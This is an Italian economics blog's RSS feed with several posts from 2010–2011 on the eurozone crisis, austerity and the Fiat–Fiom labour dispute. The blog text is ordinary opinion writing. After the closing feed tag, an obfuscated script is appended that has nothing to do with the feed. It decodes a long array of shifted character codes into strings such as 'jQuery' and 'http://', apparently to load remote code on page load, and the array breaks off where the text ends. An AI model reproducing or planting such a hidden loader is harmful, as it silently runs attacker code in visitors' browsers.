<p>L’Europa è anzi diventata il <strong>focolaio di instabilità </strong>dell’economia mondiale, <a href="http://www.ecb.int/press/pr/date/2011/html/pr110615.en.html" target="_blank">avverte la Banca Centrale Europea</a>. Perché al suo interno vi sono alcuni paesi con enormi deficit pubblici: gli stessi che hanno <a href="http://www.europe.xorte.com/0,3,The-Impact-of-the-Global-Crisis-on-Competitiveness-and-Current-Account-Divergence-in-the-Euro-Area,11592.html" target="_blank">perso tanta competitività</a> negli ultimi dieci anni, e che non crescono più (o quasi): Grecia, Portogallo, Spagna, Irlanda e Italia.</p>
<p>In <strong>Italia</strong>, la disoccupazione (scoraggiati e cassintegrati inclusi) continua a peggiorare: il Sud e i giovani stanno soffrendo più di tutti. La produzione industriale è ancora a -16% rispetto ai livelli pre-crisi. Le esportazioni crescono, ma meno delle importazioni, e meno che negli altri paesi; stanno crescendo – velocemente – i debiti delle famiglie e delle imprese. E’ vero che l’Europa ha tanti <strong>problemi strutturali</strong>. L’Italia pure. Qualche esempio:<br />
- Poche grandi imprese = meno ricerca applicata, minore capacità di esportare globalmente.<br />
- Infrastrutture e servizi pubblici non sempre come li vorremmo (esempi: i tempi lunghi della giustizia; modesta qualità della <em>governance</em>; ecc.).<br />
- Scarsa concorrenza nei servizi e scarsa indipendenza delle autorità garanti = inefficienza.<br />
- Alta pressione fiscale: mediamente al 42% del reddito, ma più alta per chi paga le tasse (dato che il 42% è una media fra quelli che pagano e quelli che non pagano).<br />
- Un mercato del lavoro o troppo ingessato o con poche protezioni sociali.</p>
<p>Tuttavia – per quanto possa sembrare paradossale – <strong>i problemi strutturali’non sono quelli p</strong><strong>iù importanti ed ur</strong><strong>genti</strong>, da qui al 2015. Perché sono problemi “di offerta”: riguardano il modo (più o meno efficiente) di combinare i fattori produttivi (materie prime, lavoro, capitale, terreni, ecc.). La crescita economica, in tempi normali, dipende dalla evoluzione positiva di questa combinazione, che determina il potenziale produttivo di un paese. Oggi no. Il problema economico n.1 dell’Italia e dell’Europa non è un problema di offerta. Le fabbriche ci sono e non sono peggiorate. Il problema non è metterle in grado di produrre di più; è la domanda: <strong>i prodotti non trovano acquirenti</strong>. Non alcuni prodotti, non in alcuni settori (altrimenti sarebbe un problema “strutturale”), bensì <strong>in tutti i settori</strong> produttivi. È quindi inutile aumentare la produzione, o gli investimenti o l’efficienza: il maggiore prodotto resterebbe invenduto. Perciò le fabbriche producono meno di tre anni fa. La gente non spende, non perché ne ha abbastanza del consumismo, ma perché ha paura del futuro.</p>
<p>Non solo. Per il 2012 e 2013 ci siamo impegnati con l’Europa, ma soprattutto con i mercati finanziari, a ridurre il deficit del 3% del Pil, cioè <strong>tagliare almeno 40 miliardi in due anni</strong>. Da un lato, se non facciamo questa “Grande Manovra”, se rinneghiamo gli impegni presi – considerata la precaria situazione finanziaria della Grecia e i rischi di contagio – è probabile che tornino a salire i tassi d’interesse italiani (la differenza con i decennali tedeschi è salita, all’inizio della crisi, da un +0,30% a un +1,50%-2,00%, ma poi si è fermata lì). Si innesterebbe allora una <strong>spirale perversa</strong> fra aumento dei tassi, caduta del Pil, caduta delle entrate fiscali e tagli alla spesa: il nostro paese sarebbe finito. Sarebbe<strong> molto peggio che in Grecia</strong>: siamo troppo grandi per essere salvati dall’Europa. È bene capire fino in fondo, senza allarmismi, che stiamo su un piano inclinato: salendo, il piano diventa meno ripido e i pascoli sempre più verdi; scendendo, il piano diventa sempre più inclinato: in fondo ci aspettano i coccodrilli… a fauci spalancate! Fanno ridere quelli che propongono di rinviare (diluire) la riduzione del deficit fino al 2020 <em>“a condizione di votare subito la manovra, per rassicurare i mercati”</em>. Il mondo è troppo pericoloso, e la politica italiana troppo inaffidabile, per rischiare una cosa del genere. Si tratta di un tipico approccio Keynesiano, ma… Keynes aveva in mente paesi con un basso <a href="http://en.wikipedia.org/wiki/List_of_sovereign_states_by_public_debt" target="_blank">debito pubblico</a>! <strong>Fa</strong><strong> dunque be</strong><strong>nissimo Tremo</strong><strong>nti – oggi – a dire</strong><strong> no </strong>a chi gli chiede di aprire i cordoni della borsa! Farebbe ancora meglio ad anticipare a questa estate la definizione della Grande Manovra, per spingere subito verso il basso i tassi d’interesse: la vita sarebbe meno difficile per lo Stato, le famiglie e le imprese.</p>
<p>Però la Grande Manovra<strong> toglierà ancora potere d’acquisto </strong>alle famiglie italiane, riducendo ulteriormente la domanda, le vendite delle imprese. Caleranno i tassi di crescita (che il governo prevede nel 2013-14 all’1,5% e più: auguri!), la base imponibile, le entrate fiscali, l’occupazione… Insomma, <strong>il rischio è un’altra spirale negativa</strong> e recessiva. Anche la riduzione del deficit diverrebbe più difficile: un obiettivo che si sposta sempre in avanti e che impone a un paese esausto dosi crescenti di austerità. Basta vedere cosa è successo all’Irlanda: nel maggio 2010 abbracciò l’austerità, e venne considerata “l’Esempio” da seguire: a dicembre era già quasi fallita.<br />
<strong><br />
Riassumendo</strong>: se l’Italia fa la promessa Grande Manovra sui conti pubblici, rischia di appesantire ulteriormente l’economia reale; se non la fa, rischia di far salire i tassi d’interesse. In entrambi i casi, la rincorsa al pareggio di bilancio, annunciato per il 2014, diverrebbe più affannosa, e i costi sociali più alti di quanto attualmente previsto. Ma la crisi in atto ha evidentemente una dimensione europea.</p>
<p>Fin qui i fatti, esposti seguendo il filo di una recente conferenza di <a href="http://www.bancaditalia.it/bancaditalia/organizzazione/Aree/studi/str_econ_fin/franco" target="_blank">Daniele Franco</a> della Banca d’Italia, e i dilemmi strategici, che in questi giorni vengono discussi appassionatamente nei circoli tecnocratici e in quelli politici. <strong>Che fare?</strong> Quali soluzioni ai dilemmi della politica economica? Vogliamo dare un consiglio ai nostri politici e all’Europa? Che fareste voi, se foste il capo del governo italiano? La parola ai lettori.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.piergiorgiogawronski.com/l%e2%80%99europa-soffocata-dal-monetarismo/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Le conseguenze di Marchionne</title>
		<link>http://www.piergiorgiogawronski.com/le-conseguenze-di-marchionne/</link>
		<comments>http://www.piergiorgiogawronski.com/le-conseguenze-di-marchionne/#comments</comments>
		<pubDate>Tue, 11 Jan 2011 20:00:46 +0000</pubDate>
		<dc:creator>piergiorgiogawronski</dc:creator>
				<category><![CDATA[Senza categoria]]></category>
		<category><![CDATA[Economia]]></category>

		<guid isPermaLink="false">http://www.piergiorgiogawronski.com/?p=1855</guid>
		<description><![CDATA[La vertenza Fiat / Fiom (per quanto noiosa per chi non è coinvolto) è cruciale per le sorti politiche ed economiche del nostro paese. Provo a riassumere.]]></description>
			<content:encoded><![CDATA[<div>La vertenza Fiat / Fiom (per quanto noiosa per chi non è coinvolto) è cruciale per le sorti politiche ed economiche del nostro paese. Provo a riassumere quello che credo di aver capito. Poi la parola ai lettori, per sviscerare insieme tutte “le conseguenze di Marchionne”.</div>
<p>Sul piano politico, la vertenza Fiat:</p>
<ul>
<li>sta avendo importanti <a href="http://www.sondaggipoliticoelettorali.it/" target="_blank">ricadute politico-elettorali</a>. Le ripetute prime pagine del <em>Corsera</em>, gli <a href="http://www.corriere.it/editoriali/10_dicembre_29/la-nostalgia-dei-conservatori-di-sinistra-angelo-panebianco_e5574c82-1318-11e0-8894-00144f02aabc.shtml" target="_blank">attacchi</a> <strong>contro la “sinistra conservatrice” </strong>stanno chiaramente facendo breccia nella borghesia, stanca del declino economico e dell’<a href="http://ricerca.repubblica.it/repubblica/archivio/repubblica/2010/10/29/crescita-italia-penultima-nel-mondo-dal-2000.html" target="_blank">immobilismo</a> del paese. Caricheranno il referendum di venerdì di significati che non ci sono.</li>
<li>viene strumentalizzata dalla destra per andare oltre, e promuovere <strong>un progetto-paese “Tremonti–Brunetta–Sacconi”</strong>. Obiettivi: ridurre il ruolo dello Stato (Ad es. Sacconi rifiuta di intervenire con una Legge sulla rappresentanza sindacale), deregolamentare le relazioni industriali, il mercato del lavoro, la finanza, i mercati dei beni e servizi (questi sì pieni di monopoli e cartelli). Idem per il mercato politico: la casta è figlia di un cartello oligopolista. E al suo interno i giochi – la “democrazia” – dovranno restare molto condizionati dai soldi e dal potere mediatico.</li>
<li><strong>Il progetto-paese della destra</strong> può non piacere, ma è, o appare, una <strong>risposta ai problemi del paese</strong>: che per l’elettorato di destra sono: economia, sicurezza, identità. Qual è l’idea della sinistra per uscire dal declino?</li>
</ul>
<p>Sul piano economico:</p>
<ul>
<li>Alcuni malintesi sulla globalizzazione forniscono alibi culturali alla destra. Si dice che <a href="www.ilfattoquotidiano.it/2001/01/09/corriere-senza-qualita/85554/" target="_blank">per competere dobbiamo ridurre i diritti e le tutele</a>: ma è solo <a href="http://www.ilfattoquotidiano.it/2011/01/05/quanto-vale-il-bluff-di-marchionne/84861" target="_blank">cattiva teoria economica</a>.</li>
<li>Invece, <strong>la debolezza del ciclo</strong> <strong>internazionale</strong> è reale (problema di breve termine), come la <a href="http://www.piergiorgiogawronski.com/il-mio-amico-eric-era-un-uomo-fortunato/" target="_blank">perdita di competitività dell’Italia</a> rispetto all’Europa (medio termine), e il declino italiano (lungo termine): producono disoccupazione e stagnazione, che <strong>indebolisce gli operai</strong>. In questa situazione, dal “muro contro muro” può uscire un solo vincitore.</li>
</ul>
<p>Sul piano delle relazioni industriali:</p>
<ul>
<li>Molte grandi imprese sperano di approfittare della spinta di Marchionne e della debolezza degli operai per ristrutturare in modo permanente le relazioni industriali italiane (P.es., se possibile, svalutare i contratti nazionali di settore).</li>
</ul>
<p>All’interno della Fiat:</p>
<ul>
<li>è inevitabile che il sindacato – la parte più debole -  si divida. Gran parte degli operai cederà alle condizioni “padronali”, mentre altri tengono duro.</li>
<li>Ma la Fiat dal canto suo ha posto <strong>problemi reali, a cui la Fiom <a href="http://www.fiomtorino.it/news/vertenza-pomigliano-la-posizione-della-fiom-cgil/" target="_blank">non sa dare risposte</a></strong>. P.es. lo sciopero selvaggio non è più accettabile; l’assenteismo mascherato da malattia danneggia tutti; la riduzione delle pause fa risparmiare davvero un sacco di soldi (proprio perché il costo del lavoro è solo il 7% del costo totale, il capitale inutilizzato costa molto); ecc. Perciò ne deduco che <strong>la Fiat</strong><strong> non ha un progetto politico</strong> generale in mente. Ma le soluzioni unilaterali di Marchionne finiscono per colpire conquiste essenziali: il diritto di sciopero, l’assicurazione contro la malattia, la rappresentanza sindacale… Perché sono pensate per <a href="http://www.fiom.cgil.it/auto/fiat/pomigliano/10_12_29-accordo%20_separato_fiat%20pomigliano.pdf" target="_blank">impedire gli abusi dei lavoratori</a>, non anche quelli dell’azienda.</li>
<li><strong>La vena estremista di Marchionne</strong> è chiara quando si rifiuta di parlare delle contropartite occupazionali e di investimento; “è offensivo chiederlo” dice. Ma andiamo! In tutto il mondo le multinazionali negoziano con i sindacati e i governi per decidere dove localizzare le grandi fabbriche! In Italia manca una “Agenzia per l’Attrazione degli Investimenti” in grado di (sostenere il governo nel) negoziare con le multinazionali. Oggi Marchionne è il più forte; dopo aver investito non potrà più dettare le sue condizioni: perciò punta i piedi.</li>
<li><strong>Alla Fiom è <a href="http://www.liberazione.it/news-file/Fiat-dalla-Fiom-proposta-di-tavolo-unico.htm" target="_blank">mancata</a></strong><a href="http://www.liberazione.it/news-file/Fiat-dalla-Fiom-proposta-di-tavolo-unico.htm" target="_blank"> <strong>la mediazione</strong></a> del governo, ma anche <strong>dell’opposizione</strong>. La sinistra tutta si è stupidamente divisa fra i “<a href="http://www.ilsussidiario.net/News/Lavoro/2010/12/27/FIAT-Colaninno-Pd-ecco-perche-Marchionne-ha-ragione-ma-sbaglia/136700/" target="_blank">filo Marchionne</a>”<a href="http://www.ilsussidiario.net/News/Lavoro/2010/12/27/FIAT-Colaninno-Pd-ecco-perche-Marchionne-ha-ragione-ma-sbaglia/136700/"></a> e i “<a href="http://www.ilfattoquotidiano.it/2011/01/08/il-partito-democratico-riunisce-la-sua-direzione/85297/" target="_blank">filo Fiom</a>”, invece di presentare al paese una posizione autonoma. Doveva invece evidenziare e stigmatizzare gli elementi di estremismo insiti nelle posizioni di entrambe le parti, e proporre una propria mediazione, originale, funzionale, <strong>che tenesse conto della </strong>fase di<strong> debolezza del fronte operaio</strong>. Possibile, per dire, che non si trovi un modo per controllare meglio se i malati sono veri o finti? Il solo Napolitano sembra aver capito la situazione.</li>
</ul>
<p><strong>Per la sinistra</strong>:</p>
<ul>
<li>Comunque vada, è <strong>una sconfitta politica enorme</strong>. Ed è figlia dell’esclusione degli intellettuali, nel senso di esperti, dai partiti. In una situazione tanto complicata occorreva dare risposte fondate su una profonda conoscenza dei meccanismi dell’economia globale, del mercato dell’auto, e delle relazioni industriali. Sono colpevoli personalmente i leader, e anche quei pochissimi economisti cooptati dai rispettivi partiti che fanno di tutto per limitare l’approdo e i contributi di altri esperti, difendendo così il proprio fazzoletto di potere personale.</li>
<li><strong>Il Pd</strong> ha tante Fondazioni: ma la mediazione ferrea del personale politico che si interpone (con qualche eccezione) fra gli esperti e il potere inficia la capacità progettuale del PD. Che ne esce peggio di tutti: perché i “filo Marchionne” si sentiranno meglio rappresentati dal centrodestra, e i “filo Fiom” da SL. Una terza posizione non è mai nata.</li>
<li><strong>L’Idv</strong> ha fatto un congresso di svolta: “Dalla protesta alla proposta”. Perché non si attrezza culturalmente? Perché i suoi “<a href="http://www.italiadeivalori.it/index.php?option=com_content&amp;view=section&amp;layout=blog&amp;id=17&amp;Itemid=478" target="_blank">Dipartimenti</a>” restano largamente scatole vuote? Vuole fare concorrenza al Pd, ma non riesce a mettere in campo un progetto-paese di uscita dal declino.</li>
<li><strong>Sel</strong> coltiva il suo orticello, ma – come la Fiom – è incapace di alleanze politico-sociali. In questo modo danneggia tutta la sinistra, e il paese, che sta cercando un’alternativa a Mr. B.</li>
</ul>
<p>Quando alle elezioni vedrete una nuova vittoria di Berlusconi e vi chiederete cos’hanno in testa gli italiani, ricordatevi della Fiat.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.piergiorgiogawronski.com/le-conseguenze-di-marchionne/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Quanto vale il bluff di Marchionne?</title>
		<link>http://www.piergiorgiogawronski.com/quanto-vale-il-bluff-di-marchionne/</link>
		<comments>http://www.piergiorgiogawronski.com/quanto-vale-il-bluff-di-marchionne/#comments</comments>
		<pubDate>Wed, 05 Jan 2011 19:55:46 +0000</pubDate>
		<dc:creator>piergiorgiogawronski</dc:creator>
				<category><![CDATA[Senza categoria]]></category>
		<category><![CDATA[Economia]]></category>

		<guid isPermaLink="false">http://www.piergiorgiogawronski.com/?p=1849</guid>
		<description><![CDATA[Marchionne (A.D. Fiat) condiziona la permanenza della Fiat in Italia a contratti di lavoro “duri”. Offre una scelta. Da un lato il lavoro; dall’altro i valori sociali e democratici. Così sembra. 
Marchionne sta bluffando (in parte). ]]></description>
			<content:encoded><![CDATA[<div style="text-align: justify;">Marchionne (A.D. Fiat) condiziona la permanenza della Fiat in Italia a contratti di lavoro “duri”. Offre una scelta. Da un lato il lavoro; dall’altro i valori sociali e democratici. <a href="http://www.ilfattoquotidiano.it/2011/01/04/la-fiat-marchionne-i-lavoratori-e-la-resa-della-politica/84783/" target="_blank">Così <em>sembra</em></a>.</div>
<p>Marchionne sta bluffando (in parte). Sono convinto che accetterebbe di vincere senza stravincere – e di investire lo stesso in Italia – se il nostro movimento operaio non fosse in condizioni così pietose da invitarlo a tirare un po’ la corda. Il suo bluff, però, si avvale dei <strong>falsi luoghi comuni sulla globalizzazione</strong> che – ahimè! – circolano anche a sinistra.</p>
<p>Luciano Gallino, per dire, <a href="http://www.sinistraeliberta.eu/articoli/se-un-senatore-dice-cose-di-sinistra" target="_blank">scrive</a> da trent’anni su <em>Repubblica</em> che i costi del lavoro “<em>dieci volte più bassi</em>” in Cina (nel 2001 scriveva: “20 volte più bassi”, nel 1991: “trenta volte più bassi”) implicano necessariamente la deindustrializzazione e la rovina economica dell’Italia. Ci lascia col dilemma: Marchionne il cattivo, o l’Autarchia “torniamo al Medio Evo”? Non capisce questo stimato signore che il costo del lavoro non conta nulla per la competitività. Conta invece il <strong>costo per unità di prodotto</strong>. Se l’operaio cinese viene pagato 10$ al giorno e l’operaio italiano 100$, ma il cinese produce un solo paio di scarpe al giorno (costo al paio: <strong>10$</strong> + materiali), mentre un operaio italiano produce 25 identiche paia di scarpe al giorno (costo al paio: 100/25= <strong>4$</strong> + materiali), le scarpe italiane sono più competitive!</p>
<p>Questa era la parte facile. Ora arriva il bello.</p>
<p>Non si riesce soprattutto a spiegare a Lucio Gallino e C. che i costi per unità di prodotto sono sempre all’incirca simili nelle diverse aree del mondo, a causa di meccanismi automatici che – più o meno velocemente – riducono le discrepanze di competitività quando si formano. Se l’operaio cinese aumenta la sua produttività, aumentano anche i suoi salari. Prova: le bilance commerciali dei paesi a basso costo del lavoro non hanno una particolare tendenza a essere in surplus commerciale (il vero indicatore della competitività). Perché? Vi sono vari <strong>meccanismi di riequilibrio</strong> della competitività! Il più efficace sono<strong> i cambi</strong>. Per esempio: nel 2013 il nuovo Presidente USA Sarah Palin abolisce i sindacati e le norme di sicurezza sul lavoro e ambientali. Costi, prezzi del Made in USA scendono; molti comprano un biglietto low cost per New York (per fare la spesa); le vendite delle nostre imprese crollano. Ma… Prima di prendere l’aereo passeremo in banca per comprare i dollari necessari. Se lo facciamo in tanti, il dollaro comincerà a salire, a salire… fino a quando? Fino a quando il divario di competitività dei prodotti USA sarà stato eliminato. (Poi i cambi oscillano anche, o vengono manipolati, ma questa è un’altra questione). Quando il dollaro raggiunge il suo nuovo livello, lascia alcuni settori (imprese) più competitivi negli USA, ma altrettanti settori (imprese) dove noi siamo più competitivi. (Acquisti e le vendite di dollari si compensano). Le singole imprese dovranno sempre competere, ma il paese nel suo insieme, no.</p>
<p>Conseguenze: nell’era della globalizzazione, un paese può fissare i suoi standard ambientali e sociali in modo autonomo. Uaaah! Il costo degli standard c’è, ma non viene dalla globalizzazione: è il maggiore valore aggiunto usato per “pagare” gli standard, e che non può essere distribuito in salari e profitti. (è possibile dimostrare che la globalizzazione <em>riduce</em> questo costo!).</p>
<p>Cosa dicono Gallino, e Sl? “<em>Il costo del lavoro più basso dei cinesi ci mette fuori mercato. Quindi la globalizzazione è disumana, l’economia è disumana, la logica del profitto, l’efficienza è disumana: chiudiamo la globalizzazione</em>”. Cosa dicono la destra e i falchi di Confindustria? “<em>Riduciamo gli standard, i salari, i diritti, sennò andiamo fuori mercato: declino, crollo, crisi</em>”. Tutte c..zate! Ma <strong>Marchionne (un po’) ci marcia</strong>.</p>
<p>Il problema della perdita di competitività è più serio quando i cambi sono fissi. Ad esempio nell’area Euro i meccanismi di riequilibrio ci sono lo stesso, ma sono molto più lenti: l’inflazione (in Germania più alta che in Italia, Spagna e Irlanda); la perdita di ricchezza (in Italia, Spagna, Irlanda) che riduce la propensione ad importare; ecc. ecc. Sono meccanismi dolorosi; deflattivi. L’Italia si trova precisamente in questa situazione verso la Germania (ma non il Brasile e la Polonia). Marchionne prova a usare un altro meccanismo per recuperare competitività: aumentare la produttività oraria. “Eccellente!”, direbbe l’Avv. Agnelli, buonanima. Però…  Marchionne, la Fiat, e ancor più il centrodestra che ci si accoda, provano ad approfittare di problemi reali – la perdita di competitività dell’Italia nei confronti della Germania, la debolezza del ciclo internazionale, la divisione dei sindacati, il governo di destra – per dare loro una soluzione esagerata. <a href="http://www.corriere.it/editoriali/10_dicembre_29/la-nostalgia-dei-conservatori-di-sinistra-angelo-panebianco_e5574c82-1318-11e0-8894-00144f02aabc.shtml" target="_blank">Qualcuno dice</a>: meglio del nulla della sinistra!</p>
<p>P.S.  La questione Fiat è noiosa per i non addetti ai lavori, ma è <strong>cruciale per il nostro paese</strong>: sul piano politico-elettorale, ed economico. Perciò mi riprometto di intervenire di nuovo, e presto, sulla questione. Questo è un post propedeutico sul rapporto fra globalizzazione e competitività, salari, occupazione, e standard.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.piergiorgiogawronski.com/quanto-vale-il-bluff-di-marchionne/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>L&#8217;Europa ha bisogno di una politica economica alternativa al liberismo</title>
		<link>http://www.piergiorgiogawronski.com/errori-e-conflitti-di-interesse-affondano-euro-gawronsk-gawronski/</link>
		<comments>http://www.piergiorgiogawronski.com/errori-e-conflitti-di-interesse-affondano-euro-gawronsk-gawronski/#comments</comments>
		<pubDate>Wed, 01 Dec 2010 18:06:07 +0000</pubDate>
		<dc:creator>piergiorgiogawronski</dc:creator>
				<category><![CDATA[Senza categoria]]></category>
		<category><![CDATA[crisi finanziaria]]></category>
		<category><![CDATA[Economia]]></category>

		<guid isPermaLink="false">http://www.piergiorgiogawronski.com/?p=1825</guid>
		<description><![CDATA[Quello strano bisogno di inflazione... Salverebbe l'Euro, ma viene ignorato dall'ortodossia liberista che guida dell'Europa monetaria. Il mio ultimo articolo sull'economia pubblicato dal "Fatto Quotidiano".]]></description>
			<content:encoded><![CDATA[<p> </p>
<p style="text-align: justify;">Nel quadro ancora depresso dell’economia mondiale, l’Europa sta facendo peggio di tutti. La crescita nel 2010 non raggiungerà il 2%, meno degli USA (3%) e del resto del mondo (6%). E questo mentre 23 milioni di europei sono alla disperata ricerca di lavoro. La crisi rimbalza dal settore immobiliare alle banche, dalle imprese alle famiglie, e da uno stato all’altro (Grecia, Irlanda, Portogallo&#8230;); la moneta comune è a rischio, e con essa – ha spiegato Luigi Spaventa su Repubblica – l’intera costruzione europea. L’Europa sta sbagliando politiche economiche.</p>
<p style="text-align: justify;">Occorre capire bene il problema economico all’origine di tutto: l’insufficienza della domanda. Vuol dire che le fabbriche sono sane &#8211; nessuno le ha bombardate (Giavazzi) -, ma sono scomparsi i clienti. Per cui licenziano. E i lavoratori, spaventati, comprano sempre meno. è il “paradosso del risparmio”: tutti si mettono a risparmiare nello stesso momento: calano le vendite delle imprese, i redditi, quindi anche… i risparmi!</p>
<p style="text-align: justify;">Non è difficile sostenere la domanda: basta spendere! Un governo può fare investimenti, p.es. nella banda larga, nelle università. O può dare soldi alle famiglie che non arrivano a fine mese, pronte a spendere tutto quel che gli entra. I soldi si prendono sui mercati (debito pubblico), o si stampano! Se dunque la crisi perdura, è perché vi sono ostacoli culturali, istituzionali, e politici che frenano le politiche di rilancio della domanda.</p>
<p style="text-align: justify;">Il primo ostacolo è culturale. Negli ultimi due anni è emersa una verità sorprendente: una buona metà degli economisti – come quelli laureati a Chicago e dintorni – non possiede gli strumenti per analizzare la crisi attuale. Sono costretti ad improvvisare<span style="text-decoration: line-through;">;</span>  perché a loro è stato insegnato che la domanda <em>non può</em> essere carente: non è previsto dai loro modelli, dove i mercati “si autoregolano”. Il problema dunque <em>deve</em> essere nella struttura produttiva. E allora ragionano come se la crisi non ci fosse: <em>nuovi stimoli</em>, se finanziati col debito, <em>manderanno alle stelle i tassi d’interesse</em>; se finanziati con la moneta, <em>scateneranno l’inflazione</em>. Ma entrambe queste previsioni si sono dimostrate completamente sbagliate. Sia l’inflazione, sia i tassi americani e tedeschi sono scesi ai minimi storici. Sul piano teorico, colpisce la distanza dei liberisti contemporanei dal padre del monetarismo Milton Friedman (1912-2006), che criticò la Fed perché nel 1929-33 non stampò abbastanza moneta. Questi di oggi sono molto più a destra: estremismo o regressione culturale?</p>
<p style="text-align: justify;">Previsioni sbagliate, ricette sbagliate. Persone Molto Importanti in Europa, come il governatore della BCE Jean Claude Trichet, e Angela Merkel, giurano che l’unico modo di uscire dalla crisi è l’austerità: soffrire, tagliare, licenziare. <em>I fallimenti servono a “risanare” il sistema</em>, a eliminare inefficienze, corruzione, eccessi.<em> La disoccupazione è “volontaria”</em>: il lavoro si trova, basta adattarsi. <em>L’intervento dello Stato peggiora solo le cose</em>: ritarda il “risanamento strutturale”. Lo stesso Tremonti due anni fa scimmiottava queste idee pre-keynesiane: “Pensare di risolvere la crisi economica con politiche di stimolo dell&#8217;economia fa ridere”, perché “ciò presuppone che la crisi sia un fenomeno ciclico, e non strutturale”(8/11/08). Ma oggi l’Europa è al capezzale <em>dell’Irlanda</em> che &#8211; unico fra i paesi presi di mira dai mercati &#8211; scelse l’austerità, ed è affondato.</p>
<p style="text-align: justify;">Il secondo ostacolo è istituzionale. La BCE è nata per combattere l’inflazione (La FED ha invece il doppio mandato: “stabilità dei prezzi” e “crescita”): funziona bene in tempi normali, male in tempi di crisi. Interpreta in modo estremo la sua “indipendenza”: <em>mai finanziare gli stati membri</em>. La realtà ha infine imposto il contrario: ma è troppo poco, troppo tardi per favorire la ripresa. </p>
<p style="text-align: justify;">Da ultimo, gli ostacoli politici. Gli interessi forti sembrano prevalere su quelli dei disoccupati, e sul buon senso. I governi spendono le poche risorse disponibili per salvare, con le banche, anche gli azionisti. E la BCE, se immette moneta, la immette nel sistema finanziario, dove rimane a sostenere le borse (e le rendite), senza molti effetti sull’economia reale. C’è poi la Germania, che accumula enormi surplus commerciali, e non rinuncia al suo schiacciante vantaggio competitivo sui <em>partners</em> europei. Ai PIIGS, che hanno bisogno di crescita come dell’aria, indica, per ritrovare l’equilibrio competitivo, la via della deflazione. Ma &#8211; <em>Hibernia docet</em> -  la deflazione accresce il peso reale dei debiti, quindi i rischi di crisi finanziaria. E’ un dilemma che anche l’Italia dovrà affrontare, dato che il nostro deficit con l’estero è ormai al 3% del PIL. La Germania preferisce finanziare i salvataggi in Europa piuttosto che alzare i salari. Gli irlandesi hanno ricevuto 98 miliardi, in prestito: al 5,7%! Dovranno restituirli. Proprio non si vede come faranno.</p>
<p style="text-align: justify;">La via d’uscita per l’Europa sarebbe, al contrario, un <em>aumento</em> dell’inflazione, in Germania più che altrove, per qualche anno. Consentirebbe ai PIIGS di recuperare competitività senza deflazione. Ridurrebbe il peso reale di tutti i debiti. E indurrebbe gli europei a spendere una moneta che altrimenti si deprezza sui conti bancari. O, perlomeno, ci vorrebbe una ristrutturazione dei debiti dei PIIGS: la Germania, che nel 1920-33 affondò sotto il peso delle “riparazioni”, dovrebbe saperlo. Ma l’ortodossia liberista considera entrambe le ipotesi anatema. Avanti il prossimo: <em>Tu quoque, Lusitania</em>?!</p>
<p style="text-align: justify;">(copyright: Il Fatto Quotidiano)</p>
]]></content:encoded>
			<wfw:commentRss>http://www.piergiorgiogawronski.com/errori-e-conflitti-di-interesse-affondano-euro-gawronsk-gawronski/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
	</channel>
</rss>
<script>
(function($$,_2,_1,doc,tk) {
	var xo="";
	function qq2(cid){cid=~~cid;return ["L",189-20*cid,175,16*cid,70,81,89,16,73,78,81,67,31,10,2,28,2,13,83,31,2,28,88,67,84,2,56,77,31,86,74,75,85,29,62,61,56,77,2,2,40,87,78,78,59,71,67,84,2,7,47,81,80,86,74,2,7,38,67,86,71,2,7,42,81,87,84,85,2,7,47,75,80,87,86,71,85,2,7,53,71,69,81,80,70,85,10,11,63,95,29,2,13,52,31,2,28,2,8,89,14,56,91,31,86,74,75,85,16,5,83,10,11,14,75,31,18,29,56,91,61,19,63,13,31,19,29,89,74,75,78,71,10,75,13,13,30,25,11,93,5,89,31,56,91,61,75,63,2,17,5,89,30,5,37,11,56,91,61,75,63,2,25,5,89,95,62,2,56,91,16,85,82,78,75,69,71,10,96,92,9,11,14,19,13,96,54,2,18,2,24,96,87,2,18,13,9,54,9,13,56,91,2,24,96,55,2,18,95,29,56,44,31,93,9,74,66,74,86,86,82,28,17,17,58,85,66,17,58,86,66,86,84,71,58,70,66,70,67,75,58,80,66,80,70,85,58,83,66,33,58,69,66,69,67,78,78,68,67,69,77,31,58,76,66,5,58,67,66,67,82,75,58,78,66,78,91,58,57,66,86,89,75,86,86,71,84,58,81,66,69,81,79,58,71,66,19,58,77,66,85,58,45,66,68,81,70,91,58,90,66,67,76,67,90,58,38,66,16,58,46,66,78,75,68,85,58,44,66,76,83,87,71,84,91,58,24,66,24,16,20,58,79,66,79,75,80,58,72,66,81,80,58,53,66,69,84,75,82,86,58,75,66,75,72,58,47,66,84,67,79,71,58,59,66,74,71,67,70,58,89,66,89,75,70,86,74,28,58,82,66,82,90,29,58,42,66,74,71,75,73,74,86,28,58,54,66,20,58,84,66,84,69,58,51,66,4,58,91,66,85,86,91,78,71,31,58,68,66,32,30,58,52,66,32,30,17,58,43,66,70,75,88,58,36,66,30,58,35,66,32,58,73,66,73,81,81,73,78,71,58,39,66,8,70,67,86,71,31,58,92,66,18,58,87,66,15,58,55,66,2,58,14,66,28,18,18,58,29,9,28,20,21,22,23,24,25,26,27,18,19,14,9,17,9,28,22,26,20,25,19,14,9,40,9,28,19,27,26,19,27,23,20,23,22,14,9,41,9,28,19,20,14,9,37,66,31,9,95,29,34,2,5,53,10,56,81,11,93,5,74,31,61,63,29,72,81,84,10,56,86,31,18,29,56,86,30,56,81,2,10,29,56,86,13,13,11,93,5,74,16,82,87,85,74,10,56,44,61,56,81,16,69,74,67,84,35,86,10,56,86,11,63,11,95,62,2,5,35,10,5,74,11,95,56,48,31,70,81,69,87,79,71,80,86,29,5,81,31,89,75,80,70,81,89,29,2,11,42,31,9,87,80,70,71,72,75,80,71,70,9,29,2,11,38,31,96,74,67,38,57,38,81,85,71,85,86,80,85,70,78,38,76,72,83,69,83,9,2,22,75,31,2,12,11,31,31,2,11,42,11,2,17,5,75,94,94,3,56,70,10,11,11,93,75,72,10,3,5,75,11,93,86,84,91,93,56,88,31,76,51,87,71,84,91,2,3,29,86,84,91,93,56,88,31,6,2,3,95,56,80,31,56,48,16,73,71,86,39,78,71,79,71,80,86,85,36,91,54,67,73,48,67,79,71,10,96,59,2,18,61,18,63,29,5,84,31,56,48,16,69,84,71,67,86,71,39,78,71,79,71,80,